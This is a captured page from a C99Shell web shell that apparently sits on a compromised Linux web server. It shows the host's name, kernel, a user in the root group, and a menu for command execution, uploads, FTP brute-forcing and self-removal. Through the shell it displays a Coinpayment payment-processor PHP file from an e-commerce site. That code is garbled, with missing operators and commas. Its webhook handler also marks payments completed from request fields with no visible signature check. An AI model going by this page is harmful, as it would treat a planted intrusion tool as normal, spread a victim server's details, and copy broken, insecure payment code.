!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/ecom1.picotech.app/public_html_ecom1/Modules/Coinpayment/Processor/   drwxr-xr-x
Free 26.31 GB of 117.98 GB (22.3%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     CoinpaymentProcessor.php (3.6 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Modules\Coinpayment\Processor;

use 
Modules\Coinpayment\Entities\Coinpayment;
use 
Modules\Coinpayment\Helper\CoinpaymentApi;
use 
Modules\Coinpayment\Response\CoinpaymentResponse;
use 
Modules\Gateway\Contracts\PaymentProcessorInterface;
use 
Modules\Gateway\Contracts\RequiresCallbackInterface;
use 
Modules\Gateway\Contracts\RequiresCancelInterface;
use 
Modules\Gateway\Contracts\RequiresWebHookValidationInterface;
use 
Modules\Gateway\Entities\PaymentLog;
use 
Modules\Gateway\Services\GatewayHelper;

class 
CoinpaymentProcessor implements
    
PaymentProcessorInterface,
    
RequiresWebHookValidationInterface,
    
RequiresCancelInterface
{


    
/**
     * Handles the initial payment request to the payment gateway
     *
     * @param \Illuminate\Http\Request $request;
     */
    
public function pay($request)
    {
        
$helper GatewayHelper::getInstance();
        
$purchaseData $helper->getPurchaseData($helper->getPaymentCode());
        
$coinpayment unserialize(Coinpayment::firstWhere('alias''coinpayment')->data);
        
$api = new CoinpaymentApi($coinpayment->privateKey$coinpayment->publicKey);

        
$code $purchaseData->code floor(time() - 999999999);

        
$req = array(
            
'amount' => $purchaseData->total,
            
'currency1' => $purchaseData->currency_code,
            
'currency2' => $request->currency,
            
'buyer_email' => $request->email,
            
'invoice' => $purchaseData->code,
            
'custom' => $code,
            
'success_url' => route(config('gateway.payment_callback'), ['gateway' => 'coinpayment']),
            
'cancel_url' => route(config('gateway.payment_cancel'), ['gateway' => 'coinpayment']),
        );

        
$transaction $api->CreateTransactionSimple($req);
        if (isset(
$transaction["error"]) && $transaction["error"] <> "ok") {
            
paymentLog($transaction);
            throw new 
\Exception($transaction["error"]);
        }
        
$transaction['result']['currency'] = $request->currency;
        
$transaction['result']['params'] = json_encode($request->currency);
        
$response = new CoinpaymentResponse($transaction$purchaseData);
        
$response->setUniqueCode($code);
        
$response->setPaymentStatus('pending');
        return 
$response;
    }

    public function 
cancel($request)
    {
        throw new 
\Exception(__('Payment cancelled.'));
    }


    public function 
validatePayment($request)
    {
        
$status htmlspecialchars($request->status);

        if (
$status == 100 || $status == -1) {

            
$payment PaymentLog::uniqueCode($request->custom)->first();

            if (!
$payment) {
                
paymentLog($request);
                
paymentLog('------ Payment data with the requested coinbase unique code ("field: custom") -------');
                return 
false;
            }

            
$payment->response_raw json_encode($request->all());

            if (
$status == -1) {

                
$payment->status 'cancelled';
            } else {
                
$payment->status 'completed';
                
$payment->response json_encode([
                    
'amount' => $request->amount1,
                    
'amount2' => $request->amount2,
                    
'amount_captured' => $request->amount1,
                    
'currency' => $request->currency1,
                    
'currency2' => $request->currency2,
                    
'code' => $payment->code
                
]);
            }

            
$payment->store();

            return 
true;
        }
        return 
false;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0033 ]--